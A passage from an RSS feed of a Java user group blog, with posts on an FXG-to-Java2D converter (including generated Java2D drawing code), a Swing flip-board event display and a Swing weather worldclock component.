<p>With not too complex shapes this was not a big deal even if it was a lot of coding (see also <a href="http://www.jug-muenster.de/drawing-in-code-part-1-379/">Drawing in code part I</a> and <a href="http://www.jug-muenster.de/drawing-in-code-part-2-2-384/">Drawing in code part II</a>) but during the work on my current component (which will be a combination of weather and time of day display for different cities) i needed to create clouds&#8230;</p>
<p>Did you ever create clouds in vector programs ? It&#8217;s really not so easy if they should look nice and you will need a lot of ellipses in different sizes to get a result which looks not too bad.<br />
After creating my first cloud out of 49 circles (all the same size) i figured out that it would take a looooooooong time to complete these clouds.<span id="more-555"></span></p>
<p>And so i tried a different approach by creating a spreadsheet where i &#8220;only&#8221; have to fill in the x,y coordinates of the shapes and it creates the resulting sourcecode out of it so that i could copy and paste it to my <a href="http://www.netbeans.org">netbeans</a> project.</p>
<p>That&#8217;s what it looked like:</p>
<div style="float: left; margin: 1.0em 1.0em 2.0em 8.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/04/ishot-1.png" border="0" alt="ishot-1.png" width="550" height="195" align="right" /></div>
<p>That was not too bad but not the solution i was looking for and so i checked all possibilities to export a <a href="http://www.adobe.com/products/fireworks">Adobe Fireworks</a> png file to a format which i could read and convert with Java.</p>
<p>And i found it&#8230;it&#8217;s called <a href="http://opensource.adobe.com/wiki/display/flexsdk/FXG+1.0+Specification">FXG</a> and is similar to SVG but was created from Adobe to exchange images within the Adobe CS4 suite. When i took a look at the exported fxg file (which is a xml dialect) i found out that it should not be too hard to write a quick and dirty converter that will help me get the shape coordinates from the fxg file into the Java2D sourcecode.<br />
So i started with converting only the coordinates but that was fun and so i continued to convert also gradients, strokes, text etc.</p>
<p>In the meantime Adobe announced the <a href="http://www.adobe.com/de/products/creativesuite/?sdid=GMXRX&amp;">CS5</a> suite which will make use of the <a href="http://opensource.adobe.com/wiki/display/flexsdk/FXG+2.0+Specification">FXG 2.0</a> standard and i hope my converter will be able to handle this too (if not i&#8217;ll make it possible).</p>
<p>Well right now this is <strong>NOT</strong> a full blown converter but a little tool (unfortunately still a quick and dirty solution) that helps me converting my design prototypes from Adobe Fireworks into Java2d sourcecode.</p>
<p><strong>And that&#8217;s what it looks like today:</strong></p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/04/ishot-11.png" border="0" alt="ishot-1.png" width="257" height="214" align="right" /></div>
<p><strong>Here&#8217;s a short example of how to use it:</strong></p>
<p>This is the file i would like to convert:</p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/Green_eyes.png" border="0" alt="Green_eyes.png" width="404" height="186" align="right" /></div>
<p>(The original file was in eps format and could be downloaded <a href="http://vector4free.com/vectors/id/277">here</a>)</p>
<p><strong>Open the file in <a href="http://www.adobe.com/products/fireworks">Adobe Fireworks</a> and export it to fxg (see screenshot):</strong></p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/FXG_EXPORT.png" border="0" alt="FXG_EXPORT.png" width="500" height="500" align="right" /></div>
<p>I kept a hint of Dave Gilbert (subscribe to his <a href="http://jroller.com/dgilbert/">blog</a>) in my mind who told me to keep things scalable and for this reason (thanx Dave) i created the converter in the way that it converts all vector shapes to scalable Java2D shapes. This means you could take a big image like i did in this example (809 px width) and the conversion will create a method that creates a buffered image where you could define the width (and the height will be calculated properly so that you keep the right aspect ratio).</p>
<p><strong>Now simply drag the fxg file to the symbol on the FxgConverter tool and it will show you a preview of the converted image like this:</strong></p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/04/ishot-22.png" border="0" alt="ishot-2.png" width="257" height="214" align="right" /></div>
<p>If you now press the convert button the FxgConverter will convert the fxg data into java2d code and copy the code to the clipboard. Additional to that it will create a java file on your desktop which contains the sourcecode.</p>
<p><strong>The method that was copied to the clipboard in this case looks like that (only the start):</strong></p>
<pre class="brush:java;">    private java.awt.image.BufferedImage createGreenEyesImage(int width)
    {
        final java.awt.GraphicsConfiguration GFX_CONF = java.awt.GraphicsEnvironment.getLocalGraphicsEnvironment().getDefaultScreenDevice().getDefaultConfiguration();
        final java.awt.image.BufferedImage IMAGE = GFX_CONF.createCompatibleImage(width, (int) (0.45982694684796044 * width), java.awt.Transparency.TRANSLUCENT);
        java.awt.Graphics2D g2 = IMAGE.createGraphics();
        g2.setRenderingHint(java.awt.RenderingHints.KEY_ANTIALIASING, java.awt.RenderingHints.VALUE_ANTIALIAS_ON);
        g2.setRenderingHint(java.awt.RenderingHints.KEY_ALPHA_INTERPOLATION, java.awt.RenderingHints.VALUE_ALPHA_INTERPOLATION_QUALITY);
        g2.setRenderingHint(java.awt.RenderingHints.KEY_COLOR_RENDERING, java.awt.RenderingHints.VALUE_COLOR_RENDER_QUALITY);
        g2.setRenderingHint(java.awt.RenderingHints.KEY_STROKE_CONTROL, java.awt.RenderingHints.VALUE_STROKE_PURE);
        final int IMAGE_WIDTH = IMAGE.getWidth();
        final int IMAGE_HEIGHT = IMAGE.getHeight();

        final java.awt.geom.GeneralPath PATH1_1 = new java.awt.geom.GeneralPath();
        PATH1_1.setWindingRule(java.awt.geom.GeneralPath.WIND_NON_ZERO);
        PATH1_1.moveTo(IMAGE_WIDTH * 0.20024721878862795, IMAGE_HEIGHT * 0.3763440860215054);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.19901112484548825, IMAGE_HEIGHT * 0.3763440860215054, IMAGE_WIDTH * 0.19777503090234858, IMAGE_HEIGHT * 0.3736559139784946, IMAGE_WIDTH * 0.1965389369592089, IMAGE_HEIGHT * 0.3736559139784946);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.18912237330037082, IMAGE_HEIGHT * 0.3655913978494624, IMAGE_WIDTH * 0.18170580964153277, IMAGE_HEIGHT * 0.3548387096774194, IMAGE_WIDTH * 0.17428924598269468, IMAGE_HEIGHT * 0.3467741935483871);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.1668726823238566, IMAGE_HEIGHT * 0.3387096774193548, IMAGE_WIDTH * 0.15945611866501855, IMAGE_HEIGHT * 0.3333333333333333, IMAGE_WIDTH * 0.15203955500618047, IMAGE_HEIGHT * 0.32526881720430106);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.1508034610630408, IMAGE_HEIGHT * 0.33064516129032256, IMAGE_WIDTH * 0.14833127317676142, IMAGE_HEIGHT * 0.3333333333333333, IMAGE_WIDTH * 0.14709517923362175, IMAGE_HEIGHT * 0.3387096774193548);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.14585908529048208, IMAGE_HEIGHT * 0.3629032258064516, IMAGE_WIDTH * 0.1446229913473424, IMAGE_HEIGHT * 0.4112903225806452, IMAGE_WIDTH * 0.1508034610630408, IMAGE_HEIGHT * 0.4381720430107527);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.15822002472187885, IMAGE_HEIGHT * 0.4731182795698925, IMAGE_WIDTH * 0.14956736711990112, IMAGE_HEIGHT * 0.4381720430107527, IMAGE_WIDTH * 0.14956736711990112, IMAGE_HEIGHT * 0.4381720430107527);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.1508034610630408, IMAGE_HEIGHT * 0.4435483870967742, IMAGE_WIDTH * 0.15327564894932014, IMAGE_HEIGHT * 0.45161290322580644, IMAGE_WIDTH * 0.15451174289245984, IMAGE_HEIGHT * 0.45698924731182794);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.1619283065512979, IMAGE_HEIGHT * 0.4946236559139785, IMAGE_WIDTH * 0.173053152039555, IMAGE_HEIGHT * 0.5268817204301075, IMAGE_WIDTH * 0.18912237330037082, IMAGE_HEIGHT * 0.5591397849462365);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.1965389369592089, IMAGE_HEIGHT * 0.5698924731182796, IMAGE_WIDTH * 0.20519159456118666, IMAGE_HEIGHT * 0.5806451612903226, IMAGE_WIDTH * 0.21508034610630408, IMAGE_HEIGHT * 0.5860215053763441);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.24721878862793573, IMAGE_HEIGHT * 0.6129032258064516, IMAGE_WIDTH * 0.28059332509270707, IMAGE_HEIGHT * 0.6102150537634409, IMAGE_WIDTH * 0.30407911001236093, IMAGE_HEIGHT * 0.5860215053763441);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.28059332509270707, IMAGE_HEIGHT * 0.5, IMAGE_WIDTH * 0.242274412855377, IMAGE_HEIGHT * 0.43010752688172044, IMAGE_WIDTH * 0.20024721878862795, IMAGE_HEIGHT * 0.3763440860215054);
        PATH1_1.closePath();
        final java.awt.Color FILL_COLOR_PATH1_1 = new java.awt.Color(new java.awt.Color(0xFFFFFF).getRed(), new java.awt.Color(0xFFFFFF).getGreen(), new java.awt.Color(0xFFFFFF).getBlue(), 255);
        g2.setColor(FILL_COLOR_PATH1_1);
        g2.fill(PATH1_1);
...
        g2.dispose();
        return IMAGE;
    }
//g2.drawImage(createGreenEyesImage(100), 0, 0, null);
</pre>
<p>As you could see the last row will contain the code which draws the image, just copy this row and paste it into your painting code (e.g. paintComponent method).<br />
So the result of the 809 px wide original image converted to Java2D looks like this at 128px, 256px and 512px:</p>
<div style="float: left; margin: 1.0em 10.0em 2.0em 1.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/ishot-3.png" border="0" alt="ishot-3.png" width="553" height="532" align="left" /></div>
<p>If you name the elements in Fireworks the converter will name the shapes in the sourcecode with the same name (keep in mind that you do not use the same name twice). It&#8217;s not needed to give each element a name but in complex designs it makes things easier, especialy if you would like to make changes to it later in the sourcecode.</p>
<p><strong>Fireworks:</strong></p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/04/ishot-21.png" border="0" alt="ishot-2.png" width="213" height="86" align="center" /></div>
<p><strong>Resulting sourcecode:</strong></p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/04/ishot-31.png" border="0" alt="ishot-3.png" width="521" height="246" align="center" /></div>
<p>Thanx to Rémy Rakic (find him here on <a href="http://twitter.com/lqd">twitter</a> or subscribe to his <a href="http://lqd.hybird.org/journal/">blog</a>) i got some fxg files that have been converted by <a href="http://www.adobe.com/products/illustrator">Adobe Illustrator</a>. Unfortunately the fxg format from Illustrator is different from the Fireworks fxg format and so i had to rework parts of the converter. To get the best results you should ungroup all elements in Fireworks before you export them to fxg.</p>
<p>For me the most important thing was to get the shapes from my <a href="http://www.adobe.com/products/fireworks">Adobe Fireworks</a> files into Java2D code to make the creation of custom java swing components more easy the converter won&#8217;t make use of bitmaps that are linked to the fxg file etc.<br />
It will only convert (hopefully) all kinds of shapes with their filling and strokes to java2d code.</p>
<p>In the <a href="http://www.netbeans.org">Netbeans</a> project you will find two converters, one will create a buffered image on the fly (this was needed for the preview) and the other will copy the sourcecode to the clipboard and save it as a java file.</p>
<p><span style="color: #ff0000;"><strong>KEEP IN MIND:</strong></span></p>
<p>In Java a single method is not allowed to be larger than 64 kb !!! You might think that you will never reach this size but when it comes to complex vectorgraphics it&#8217;s not a big deal to create single method with more than 10000 lines of code !!!<br />
I just use a simple trick to avoid methods that large by splitting them up into methods of 1000 lines of code. So if you have a very large fxg file to convert you might find multiple versions of the image creating method (in the example above it would look like createGreenEyesImage(int width, createGreenEyesImage1(int width), etc.).<br />
With this trick i could still create one big image by calling the methods for example like this g2.drawImage(createImage2(createImage1(createImage(100))));<br />
Unfortunately i still found images that will blow up my code and it won&#8217;t work but for smaller fxg designs it works ok.</p>
<p><span style="color: #00aa00;"><strong>KNOWN ISSUES:</strong></span></p>
<ul>
<li>I do not care about grouping in Fireworks so it&#8217;s a good advice to ungroup all elements in Fireworks before you export it to fxg</li>
<li>There seems to be a problem with the fxg export of copied elements with gradients. So if you create something try not to copy structures with gradients</li>
<li>The conversion of big fxg files (unfortunately i could not define big) might lead to methods bigger than 64 kb, so you could try to decrease the no. of lines per method in the converter class to avoid it</li>
<li>FXG files exported by Illustrator might not look perfect (unfortunately i do not have Illustrator for testing)</li>
<li>At the moment there is basic support for text but it could be better</li>
<li>It seems to be a problem if you have a path that was made of only a few cubic splines, if you add some more points, it will convert fine. I did not found the time to take a closer look to the problem.<br />
Here is a short example:</p>
<p>Path with only a few points:</p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/04/ishot-12.png" border="0" alt="ishot-1.png" width="250" height="48" align="right" /></div>
<p>and the result in the converter:</p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/04/ishot-32.png" border="0" alt="ishot-3.png" width="387" height="397" align="right" /></div>
<p>Path with more points:</p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/04/ishot-23.png" border="0" alt="ishot-2.png" width="249" height="41" align="right" /></div>
<p>and the result in the converter:</p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/04/ishot-4.png" border="0" alt="ishot-4.png" width="387" height="397" align="right" /></div>
</li>
</ul>
<p>I hope that with Adobe&#8217;s CS5 the fxg export in Illustrator and Fireworks will lead to the same result, please keep in mind that this is still not finished yet and whenever i find some time i try to improve the conversion.</p>
<p>For those of you that would like to see it in action&#8230;<a href="http://www.youtube.com/watch?v=XuosiPHo8TE">here</a> we go&#8230;</p>
<p>So feel free to play around with it:</p>
<p><a href="http://idisk.mac.com/han.solo-public/fxgconverter.jnlp"></a></p>
<div style="float: left; margin: 1.0em 100.0em 2.0em 10.0em;"><a href="http://idisk.mac.com/han.solo-public/fxgconverter.jnlp"><img src="http://www.jug-muenster.de/wp-content/uploads/2009/10/jws_launch.gif" border="0" alt="jws_launch.gif" width="88" height="34" align="left" /></a></div>
<p>As always you will get the source as <a href="http://www.netbeans.org">Netbeans</a> project: <a href="http://idisk.mac.com/han.solo-public/FxgConverter.zip">FxgConverter.zip</a></p>
<p>Follow me on <a href="http://twitter.com/hansolo_">twitter</a> if you like&#8230;</p>
<div style="clear:both;">&nbsp;</div>

<p>Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/java2d-conical-gradient-paint-674/' rel='bookmark' title='Permanent Link: Java2D Conical Gradient Paint'>Java2D Conical Gradient Paint</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.jug-muenster.de/fxg-to-java2d-converter-555/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Swing event departure board</title>
		<link>http://www.jug-muenster.de/swing-event-departure-board-518/</link>
		<comments>http://www.jug-muenster.de/swing-event-departure-board-518/#comments</comments>
		<pubDate>Wed, 24 Mar 2010 07:18:48 +0000</pubDate>
		<dc:creator>Gerrit</dc:creator>
				<category><![CDATA[Contributed]]></category>
		<category><![CDATA[custom component]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[swing]]></category>

		<guid isPermaLink="false">http://www.jug-muenster.de/?p=518</guid>
		<description><![CDATA[Sitting at Gard du Nord train station in Paris in January this year i saw this huge departure board: It was fascinating to see and hear all these flipping characters everytime a departure time changed. I guess most of you know already how these boards work but for all others i will explain it shortly. [...]


Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/swing-worldclock-427/' rel='bookmark' title='Permanent Link: Swing Worldclock'>Swing Worldclock</a></li>
<li><a href='http://www.jug-muenster.de/swing-weather-worldclock-490/' rel='bookmark' title='Permanent Link: Swing Weather Worldclock'>Swing Weather Worldclock</a></li>
<li><a href='http://www.jug-muenster.de/custom-swing-component-227/' rel='bookmark' title='Permanent Link: Custom swing component'>Custom swing component</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<!--S-ButtonZ 1.1.5 Start--><!--S-ButtonZ 1.1.5 End--><p>Sitting at Gard du Nord train station in Paris in January this year i saw this huge departure board:</p>
<div style="float: left; margin: 1.0em 20.0em 2.0em 1.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/Gare_du_Nord_Paris.jpg" border="0" alt="Gare_du_Nord_Paris.jpg" width="500" height="375" align="left" /></div>
<p>It was fascinating to see and hear all these flipping characters everytime a departure time changed. I guess most of you know already how these boards work but for all others i will explain it shortly.</p>
<p>The arriving trains are in chronological order from top to bottom of the board which means the trains that arrives as next stays on top of the board.<br />
The flipping characters are made of little metal plates that are printed on the front and backside with characters that are split into half. The Top part of the character is printed on the frontside of the upper plate and the bottom part of the character is printed on the backside of the lower plate (i tried to visualize it with a little image).<span id="more-518"></span></p>
<div style="float: left; margin: 1.0em 50.0em 2.0em 1.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/FlipChar.png" border="0" alt="FlipChar.png" width="113" height="172" align="left" /></div>
<p>So if the current character the element shows is a &#8220;B&#8221; and it should show up the character &#8220;C&#8221; it only flips once and the next character will be the &#8220;C&#8221; BUT if it should shup up the character &#8220;A&#8221; it has to flip through the whole stack of characters until it reaches the &#8220;A&#8221; because there is only one direction it could flip.</p>
<p>I was asking myself if it might be possible to do that in swing and on my way back to germany i started creating a flipping character component in <a href="http://www.adobe.com/products/fireworks">Adobe Fireworks</a> and <a href="http://www.netbeans.org">Netbeans</a>.<br />
So the design of the component and the logic behind it was one thing but the flipping of the plates was a totaly different problem.<br />
For a realistic view i would need something like a perspective transform which is not available in Swing. First i skimmed through Google search results to find something and found solutions to this problem but for just a little component the solutions have been to heavy.<br />
Next thought was JavaFX because there you have a perspective transform and so i thought about using JavaFX to do the transformation and use the transformed images in swing&#8230;but i was not able to do so.</p>
<p>In the end it was a really easy solution even if it&#8217;s not as close to the reality as i whish it would but when i thought about the speed the characters are flipping with i found out that you won&#8217;t really notice each plate flipping. So the solution is using &#8220;fake images&#8221; for each flipping state which has the big advantage that i could use the same images over and over again. Here is what they look like:</p>
<div style="float: left; margin: 1.0em 50.0em 2.0em 1.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/FakeFlip.png" border="0" alt="FakeFlip.png" width="240" height="31" align="left" /></div>
<p>So it just lacks the characters on the plate during the flip but on the other hand it&#8217;s faster because i do not have to transform the images on each flip but only playback a sequence of images.</p>
<p>The resulting swing component looks like this:</p>
<div style="float: left; margin: 1.0em 50.0em 2.0em 1.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/ishot-1.png" border="0" alt="ishot-1.png" width="56" height="66" align="left" /></div>
<p>Now it was easy to create a panel that holds some of these flipping characters and put some logic in that the panel represents a word.</p>
<div style="float: left; margin: 1.0em 50.0em 2.0em 1.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/ishot-2.png" border="0" alt="ishot-2.png" width="320" height="51" align="right" /></div>
<div style="float: left; margin: 1.0em 50.0em 2.0em 1.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/ishot-31.png" border="0" alt="ishot-3.png" width="317" height="52" align="right" /></div>
<p>Satisfied with this solution i left the component like it was and moved to other things but when i was at <a href="http://www.jfokus.se">JFokus</a> conference in february in sweden i got the problem that i did not have the exact schedule of all the talks which leads me to the following idea&#8230;</p>
<p>Every appointment in my calendar (meetings etc.), talks on our JUG events and all other time based events could be handled by a departure board like the one i saw at Paris. So i started creating a talk departure board that we could use for our JUG events.</p>
<p>Now i was facing another problem that did not occur before, if i use a lot of these flipping characters i need a lot of animation at the same time which means a lot of redraws etc. which could make things slow down.<br />
For that reason i implemented a global timer that triggers the flipping of every character so that they are flipping at the same time. The next problem was the space the component would need&#8230;it&#8217;s huge (around 1600 px wide). I created the departure board for big screens with resolutions around 1920 px because it was not made for personal use on your notebook but for big screens at JUG events (you might tweak the component if you need a smaller one).</p>
<p>To get a better look i needed a analog clock to show the current time and some led to visualize the next upcoming event. And here they are:</p>
<div style="float: left; margin: 1.0em 50.0em 2.0em 1.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/ishot-5.png" border="0" alt="ishot-5.png" width="134" height="121" align="right" /></div>
<div style="float: left; margin: 1.0em 50.0em 2.0em 1.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/led.png" border="0" alt="led.png" width="46" height="40" align="right" /></div>
<p>With all these components available i started creating the departure board and the final result looks like this (only parts because it&#8217;s too big):</p>
<div style="float: left; margin: 1.0em 50.0em 2.0em 1.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/ishot-71.png" border="0" alt="ishot-7.png" width="592" height="391" align="right" /></div>
<p>To fill the component with data i created a small xml file that contains the events (this could be improved) wich contains data like event title, event date and time, title, speaker and room of each talk. You could also add your own logo image (png format) to the upper right corner of the departure board by defining it in the xml file.<br />
The component will read in the xml file at startup if it is in the same folder and will display the events.<br />
If there will be a event within the next 5 minutes the green led at the beginning and end of the event will start to blink and they will stop blinking if the current event is running for more than 5 minutes. In this case the top event will be deleted from the board and all other events will move one row up in the list.</p>
<p>Well i finished this component in february but did not find the time to make further improvements to it so i decided to release it as it is to give you something to play with.</p>
<p>It might be usefull for some of you (e.g. you could use it in your company to visualize appointments with visitors at the lobby).</p>
<p>After start up it will take some seconds to flip every component through the whole stack (which might be slow) but after this the flipping of the rows should be faster (but could still be improved).</p>
<p>Finally here is a link to a little video where you could see the component in action.</p>
<p><a href="http://www.youtube.com/watch?v=Obinsku3pVo">Swing talk departure board</a></p>
<p>And as always the source as <a href="http://www.netbeans.org">Netbeans</a> project (<a title="EventTalkBoard.zip" href="http://www.jug-muenster.de/wp-content/uploads/2010/03/EventTalkBoard.zip">EventTalkBoard.zip</a>).</p>
<p>Follow me on <a href="http://twitter.com/hansolo_">twitter</a> if you like&#8230;</p>
<div style="clear:both;">&nbsp;</div>

<p>Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/swing-worldclock-427/' rel='bookmark' title='Permanent Link: Swing Worldclock'>Swing Worldclock</a></li>
<li><a href='http://www.jug-muenster.de/swing-weather-worldclock-490/' rel='bookmark' title='Permanent Link: Swing Weather Worldclock'>Swing Weather Worldclock</a></li>
<li><a href='http://www.jug-muenster.de/custom-swing-component-227/' rel='bookmark' title='Permanent Link: Custom swing component'>Custom swing component</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.jug-muenster.de/swing-event-departure-board-518/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Swing Weather Worldclock</title>
		<link>http://www.jug-muenster.de/swing-weather-worldclock-490/</link>
		<comments>http://www.jug-muenster.de/swing-weather-worldclock-490/#comments</comments>
		<pubDate>Tue, 23 Mar 2010 06:44:58 +0000</pubDate>
		<dc:creator>Gerrit</dc:creator>
				<category><![CDATA[Contributed]]></category>
		<category><![CDATA[custom component]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[swing]]></category>

		<guid isPermaLink="false">http://www.jug-muenster.de/?p=490</guid>
		<description><![CDATA[Remember the worldclock blogpost? Well it was ok but i thought there was one thing missing&#8230; Weather information For that reason i added this missing feature to the known worldclock component so that you now might choose out of four clocks: Pure clock and icon indicator for time of day Pure clock, icon indicator for [...]


Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/swing-worldclock-427/' rel='bookmark' title='Permanent Link: Swing Worldclock'>Swing Worldclock</a></li>
<li><a href='http://www.jug-muenster.de/custom-swing-component-227/' rel='bookmark' title='Permanent Link: Custom swing component'>Custom swing component</a></li>
<li><a href='http://www.jug-muenster.de/swing-apollo-space-program-mission-timer-280/' rel='bookmark' title='Permanent Link: Swing Apollo space program mission timer'>Swing Apollo space program mission timer</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<!--S-ButtonZ 1.1.5 Start--><!--S-ButtonZ 1.1.5 End--><p>Remember the <a href="http://www.jug-muenster.de/swing-worldclock-427/">worldclock</a> blogpost? Well it was ok but i thought there was one thing missing&#8230;</p>
<p><strong>Weather information</strong></p>
<p>For that reason i added this missing feature to the known worldclock component so that you now might choose out of four clocks:</p>
<ul>
<li>Pure clock and icon indicator for time of day</li>
<li>Pure clock, icon indicator for time of day and weather information</li>
<li>Clock with inbuild time of day display</li>
<li>Clock with inbuild time of day display and weather information</li>
</ul>
<p>This image shows all available clocks:</p>
<div style="float: left; margin: 1.0em 10.0em 2.0em 1.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/ishot-6.png" border="0" alt="ishot-6.png" width="514" height="384" align="left" /></div>
<p>To get the weather information for all the cities in the enum i provide, i needed to add the country for each city and by adding all these countries i translated the cities to their (hopefully) right english names (in the original worldclock post i used german city names).</p>
<p>I use <a href="http://www.wunderground.com/">weather underground</a> to retrieve the weather information because they provide an easy to access service for free. You will find a package called &#8220;net&#8221; in the project in which i put the classes responsible for fetching the weather condition. There is timer which checks every 30 seconds for the availability of the connection.<br />
The clockpanels will every 10 minutes add a so called ConditionFetcher thread to the queue of the WeatherService which will be handled by a ExecutorService. The WeatherService will tries to use the system proxy server if there is one so it hopefuly works out for you.</p>
<p>The most of the work was done by creating all the different weather condition images which you will see in the next image:</p>
<div style="float: left; margin: 1.0em 1.0em 2.0em 1.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/ishot-7.png" border="0" alt="ishot-7.png" width="570" height="722" align="left" /></div>
<p><span id="more-490"></span>And of course we will have different images for the night (but only different if the moon is visible), here they are:</p>
<div style="float: left; margin: 1.0em 1.0em 2.0em 1.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/ishot-8.png" border="0" alt="ishot-8.png" width="600" height="280" align="left" /></div>
<p>Additional to the current weather condition you will find the min and max temperature below the condition image and you could choose between degrees celsius or fahrenheit as temperature unit.</p>
<p>In the project you will find a package called &#8220;app&#8221; and in this package you will find four classes called &#8220;Main1&#8243;, &#8220;Main2&#8243;, &#8220;Main3&#8243;, &#8220;Main4&#8243;. Each of these classes will start a different version of the worldclock with the four cities (Hong Kong, Berlin, New York, San Francisco) so if you are fine with the cities just select the right class as start class in the netbeans project properties and compile it. Otherwise change/add/remove the cities as you like.</p>
<p>Here are the four predefined worldclocks:</p>
<div style="float: left; margin: 1.0em 10.0em 2.0em 1.0em;">Main1.class<img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/ishot-9.png" border="0" alt="ishot-9.png" width="410" height="412" align="left" /></div>
<div style="float: left; margin: 1.0em 10.0em 2.0em 1.0em;">Main2.class<img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/ishot-10.png" border="0" alt="ishot-10.png" width="548" height="412" align="left" /></div>
<div style="float: left; margin: 1.0em 10.0em 2.0em 1.0em;">Main3.class<img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/ishot-11.png" border="0" alt="ishot-11.png" width="400" height="412" align="left" /></div>
<div style="float: left; margin: 1.0em 10.0em 2.0em 1.0em;">Main4.class<img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/ishot-12.png" border="0" alt="ishot-12.png" width="568" height="412" align="left" /></div>
<p>So that&#8217;s the weather worldtime clock and as always you will find the source as zipped <a href="http://www.netbeans.org">netbeans</a> project <a title="WorldClock.zip" href="http://www.jug-muenster.de/wp-content/uploads/2010/03/WorldClock.zip">here</a>.</p>
<p>By the way i&#8217;m still not satisfied with this version. I&#8217;m currently working on a different approach where i try to visualize the time of the day and combine it with weather and a clock but that project will take some more time to finish. Here is a little preview:</p>
<div style="float: left; margin: 1.0em 10.0em 2.0em 1.0em;"><img src="http://www.jug-muenster.de/wp-content/uploads/2010/03/ishot-13.png" border="0" alt="ishot-13.png" width="494" height="316" align="left" /></div>
<p>But that&#8217;s a different story&#8230;</p>
<p>Enjoy Java and follow me on <a href="http://twitter.com/hansolo_">twitter</a> if you like&#8230;</p>
<div style="clear:both;">&nbsp;</div>

<p>Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/swing-worldclock-427/' rel='bookmark' title='Permanent Link: Swing Worldclock'>Swing Worldclock</a></li>
<li><a href='http://www.jug-muenster.de/custom-swing-component-227/' rel='bookmark' title='Permanent Link: Custom swing component'>Custom swing component</a></li>
<li><a href='http://www.jug-muenster.de/swing-apollo-space-program-mission-timer-280/' rel='bookmark' title='Permanent Link: Swing Apollo space program mission timer'>Swing Apollo space program mission timer</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.jug-muenster.de/swing-weather-worldclock-490/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Swing Worldclock</title>
		<link>http://www.jug-muenster.de/swing-worldclock-427/</link>
		<comments>http://www.jug-muenster.de/swing-worldclock-427/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 11:48:48 +0000</pubDate>
		<dc:creator>Gerrit</dc:creator>
				<category><![CDATA[Contributed]]></category>
		<category><![CDATA[custom component]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[swing]]></category>

		<guid isPermaLink="false">http://www.jug-muenster.de/?p=427</guid>
		<description><![CDATA[During my trip to JFokus conference last month i was waiting for the train on a german trainstation. Because i started working on a little swing tool (i will blog about it later) for our usergroup i was in the need for a analog clock. So the german railway company &#8220;Deutsche Bahn&#8221; has a famous [...]


Weitere Artikel:<ol><li><a href='http://www.jug-muenster.de/swing-weather-worldclock-490/' rel='bookmark' title='Permanent Link: Swing Weather Worldclock'>Swing Weather Worldclock</a></li>
<li><a href='http://www.jug-muenster.de/swing-event-departure-board-518/' rel='bookmark' title='Permanent Link: Swing event departure board'>Swing event departure board</a></li>
